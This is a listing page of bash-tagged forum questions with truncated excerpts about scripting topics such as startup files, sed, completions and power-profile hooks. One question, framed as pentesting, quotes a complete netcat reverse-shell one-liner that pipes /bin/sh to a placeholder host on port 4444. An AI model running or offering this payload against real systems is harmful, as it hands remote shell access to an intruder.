Questions tagged [bash]
Bash is a free shell for Unix-like operating systems from the GNU Project.
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Is it possible to have assignment and test in a single line in Bash?
In python I can write this piece of code:
if (result := some_function()) > 0:
# do some thing with result
Is it possible in Bash script?
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How can I execute a command whenever I change the PowerDevil power profile?
I have a laptop with a variable refresh rate (up to 120Hz) monitor. I want to change the refresh rate to 60 whenever I switch the power profile to "Power Save" in Powerdevil, and change it ...
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Trying to understand telnet behavior and pentesting reverse shell in Unix
The first not working for me and the second working on telnet session, Unix:
What is the difference between:
.RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f
And ...
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Complete overview of Bash and Zsh startup files sourcing order
I was confused in what order my shells source which files. When researching this for myself, I came across several sources online and even read some parts of the manuals for both shells. But still, ...
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How to disable MOTD from Debian 12?
I am looking to disable MOTD on my Debian 12 systems. I updated my sshd_config file to not display MOTD but it is still showing up. Is it possible it is coming from another module and how can I ...
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sed does not consume rest of the line
I have one line of different words stored in a txt file
N/A 9.0 Yes Yes N/A N/A N/A N/A 8.8 Yes Yes N/A N/A N/A N/A 8.7 Yes Yes N/A N/A N/A N/A 9.2 Yes Yes Yes Yes Yes Yes 9.1 Yes Yes Yes Yes Yes Yes ...
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Match a User That Starts With a Single Letter
I've been handed a script written by another and been asked to modify it according to their needs. There's one line that needs to be altered:
if [ "$user" == "nobody" ]
This ...
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Linux Bash Wait Command Not Working
I am trying to use and bash file .sh to start other bash files in seperate terminals.
I want them to run one after the other as I use them to copy large numbers of files to the same Hard Drive. ...
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Avoiding accidental execution of python scripts as bash scripts
I like to run my python scripts directly in bash like so
$ ./script.py
But sometimes I forget the shebang line #!/usr/bin/env python3, and it has the potential to overwrite a file named np if the ...
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Why do string variables in a bash script behave differently when echo'ed than they do when passed to an executable?
I have the following script:
#!/bin/bash
KID3=$(command -v kid3-cli)
ARG1="-c 'get'"
file="'1-01 - Johann Strauss - __Waldmeister___ Ouverture.flac'"
echo Command:
echo "$...
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Unknown terminal: "/tmpERM"
On my Linux headless distro, i have a recurring error where when running some commands ("clear", "nvim", etc.), instead of the expected behaviour of running the command i get an ...
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Is there any way to create a new window terminal (pseudo-terminal) using a command without setting env $DISPLAY?
I am currently building an open-source utility (plugin), which requires a new terminal window (pseudo-terminal) to become more effective whenever it gets executed.
I was using gnome-terminal to ...
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How to calculate GUI used memory widget value?
OS: Kubuntu 22.04.4 LTS x86_64
to display above:
neofetch --stdout |grep 'OS:'
GUI = Graphical User Interface
GUI used memory = see widget image below.
.
2nd method to display used memeory = 2211 MB =...
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How to run command containing string variable from string variable?
I'm trying to run command containing string variable from string variable:
$ X="bash -c 'echo OK'" ; $X
OK': -c: line 1: unexpected EOF while looking for matching `''
Why doesn't it work? ...
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Bash completions with more than one word
My command is
thermostat.sh override off
I can get override to complete but not the subsequent off
Here is my script
#/usr/bin/env bash
_thermostat-completions() {
if [ "${#COMP_WORDS[@]}...
